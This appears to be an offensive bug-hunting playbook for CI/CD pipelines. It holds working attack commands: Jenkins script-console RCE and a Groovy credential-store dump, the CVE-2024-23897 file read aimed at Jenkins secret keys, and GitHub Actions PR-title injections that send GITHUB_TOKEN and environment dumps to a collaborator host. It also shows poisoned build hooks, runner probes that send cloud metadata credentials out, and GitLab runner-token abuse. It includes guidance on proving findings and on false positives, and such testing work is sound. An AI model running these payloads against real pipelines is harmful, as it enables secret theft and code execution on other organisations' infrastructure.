hunt-cicd

HUNT-CICD — CI/CD Pipeline Security

Crown Jewel Targets

Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" → secret exfil from a fork PR with zero approval.

Highest-value findings:

• Jenkins Script Console — Groovy execution → full RCE → dump the credential store
• Jenkins CLI file read (CVE-2024-23897) — pre-auth @/etc/passwd arg expansion → read secret.key/credentials.xml → forge admin → RCE
• GitHub Actions `pull_request_target` injection (Pwnrequest) — fork PR controls ${{ }} inside a privileged shell step → exfil GITHUB_TOKEN (often contents:write) and org secrets
• Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
• OIDC trust-policy abuse — over-broad sub claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
• Terraform state leakage — *.tfstate in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
• Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before ::add-mask::

"It-Didn't-Happen-Without-Proof" Gate (Read First)

CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:

1. A login page is not an RCE. A reachable /script URL that returns a Jenkins login or 403 is not an unauthenticated script console. Only an actual scriptText POST returning your command's output counts.
2. A `pull_request_target` workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
3. Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
4. A `.tfstate` HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many tfstate files contain only resource IDs and outputs, no secrets.

Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

Unauthenticated script console → RCE (only if the POST returns output):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

Dump the credential store (Groovy decrypts secrets the UI masks):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j @-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading secret.key + master.key to decrypt credentials.xml, or reading a user's config.xml API token:

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.

Phase 2 — GitHub Actions: Pwnrequest, ${{ }}-into-Shell, Runner Poisoning, OIDC

The core distinction (this is where 90% of false PoCs die)

There are two sink classes — they need different payloads:

• `${{ }}` template expansion into a shell `run:` — the expression is substituted into the script before the shell runs, so a newline/backtick/$(...) in the untrusted field becomes literal shell. This is the classic injection.
• Environment variable read inside the shell — GITHUB_TOKEN, secrets.X, and any env:-mapped value are shell variables whose value IS the string. To exfiltrate them you use echo/printenv, never cat $VAR (that tries to open a file named by the token and prints nothing).

# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

Attack via the `${{ }}` sink — set the PR title (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with printenv, not cat:

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

For a multi-line YAML run:, a newline injection is cleaner:

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

Attack via a poisoned checkout (no `${{ }}` needed) — if pull_request_target checks out the PR head and then runs a build script / installs deps from the checked-out tree (make, npm ci with a malicious preinstall, a Makefile, a .github/ action in the PR), the runner executes attacker code directly. Drop into any build hook:

# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

Self-hosted runner poisoning — if runs-on: self-hosted (or a custom label) on a public repo with pull_request/pull_request_target, a fork PR's job runs on the org's own host. Non-ephemeral runners persist tools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:

- run: |
    whoami; hostname; id
    curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"

OIDC trust-policy abuse — workflows that configure-aws-credentials via OIDC assume an IAM role. A trust policy whose token.actions.githubusercontent.com:sub condition is missing or uses a loose wildcard (repo:ORG/*:*) lets any workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:

aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

Then prove it: from a workflow you control in-org, assume the role and run aws sts get-caller-identity returning the privileged role ARN.

Recon

# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
    body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
    echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

Triage candidates with the static analyzer before opening any PR: gh extension install rhysd/actionlint or run zizmor (pip install zizmor; zizmor .github/workflows/) which flags template-injection and dangerous-checkout patterns specifically.

Actions cache poisoning

The GitHub Actions cache is not trust-isolated across branches by default: a workflow from an attacker branch/fork PR can write a cache entry (key or restore-key) that a later privileged workflow on the default branch restores, injecting attacker files (built binaries, deps, scripts) into a trusted build -> code execution in the privileged context. Check for cache actions keyed on attacker-influenced values, and whether privileged pipelines restore-keys a prefix an untrusted job can populate.

Phase 3 — Secrets in Logs & Artifacts

# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

Note actions/upload-artifact does not redact secrets — an artifact named env/debug is a common direct leak.

Phase 4 — GitLab CI

# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

A registration token alone is not a finding unless the instance allows that token to register a runner that will execute a target project's pipeline. Demonstrate by registering an ephemeral runner you own and capturing a job's masked variables.

Phase 5 — Terraform State Leakage

# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
  "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
  "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
  "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
  "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
  "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
  code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
  [ "$code" = "200" ] && echo "[+] 200 $U" && \
    jq -r '.resources[].instances[].attributes
           | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
           | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10

False-positive filter: a tfstate that lists only id, arn, tags is not a secret leak. Run the jq above and confirm at least one live credential (a real password, private_key, RDS master password, or non-rotated access key). Then prove impact by using that credential read-only (aws sts get-caller-identity, a DB connect that returns a banner) — do not just claim "creds in state."

Phase 6 — Build Artifact / Image Analysis

docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified

--only-verified filters trufflehog to credentials it could actually authenticate — use it to drop the noise of expired/example keys before reporting.

Grounded References (named cases / CVEs)

• Pwnrequest / `pull_request_target` class — GitHub Security Lab (Jaroslav Lobačevski), "Keeping your GitHub Actions and workflows secure: Untrusted input." The original write-up of fork-PR secret exfil and the dangerous-checkout pattern.
• GitHub Actions workflow-command injection — CVE-2020-15228 — set-env/add-path workflow commands allowed env/PATH injection from logged output; this drove the deprecation of those commands and the move to $GITHUB_ENV.
• Jenkins CLI arbitrary file read — CVE-2024-23897 — args4j @-prefixed file expansion (Jenkins ≤2.441 / LTS ≤2.426.2), read secret.key/credentials.xml → admin → RCE.
• Jenkins Stapler RCE — CVE-2018-1000861 — dynamic routing reaches groovy.lang.GroovyShell; a staple of the unauth script-execution chain on older Jenkins.
• PortSwigger / Liam Galvin & others — research on GitHub Actions injection sinks (title/branch/body/label) and the ${{ }}-into-run template-substitution vector; the basis of the actionlint/zizmor detection rules cited above.

(Only CVEs and cases I can attribute exactly are listed. Confirm the running version against the CVE's affected range before claiming it.)

Chain Table

Validation Discipline (per finding, before you report)

• Jenkins console: the scriptText POST returns your id output (uid=…(jenkins)). A returned login/SSO/Crowd page = not anon access. Screenshot the request+response.
• CVE-2024-23897: response contains real /etc/passwd content; confirm version is in range. Patched instances return an error with no leaked line.
• Actions injection: confirm the data flow into a sink first (FP section). Blind step → Collaborator callback with the runner's source IP is mandatory. Token exfil via printenv//proc/self/environ decoded at your endpoint — never cat $GITHUB_TOKEN.
• OIDC abuse: aws sts get-caller-identity from your controlled workflow returns the privileged role ARN — not just a permissive-looking trust policy.
• Terraform state: jq extraction yields ≥1 live secret, then a read-only auth proves it. ID/ARN-only state = no finding.
• Runner token / image / logs: demonstrate the secret authenticates (trufflehog --only-verified, or a real API call) — possession of a string is not impact.

Common false positives to retract

• /script returning a login page (auth required) reported as "unauth RCE."
• pull_request_target present but untrusted input never reaches a sink (e.g., used only in if: on github.actor, or the workflow uses pull_request not _target).
• ${{ }} reference that is already wrapped in an env: block and quoted in the shell (the recommended safe pattern) — not injectable.
• .tfstate 200 containing only resource metadata.
• A masked GitLab variable that is protected and only exposed to protected branches the attacker can't push to.
• Trufflehog "unverified" hits that are example/expired keys.

Severity: Jenkins console / CVE-2024-23897 / Actions secret exfil / runner poisoning / OIDC role assumption / Terraform live creds = Critical. Image/log/artifact secret = High/Critical by credential scope.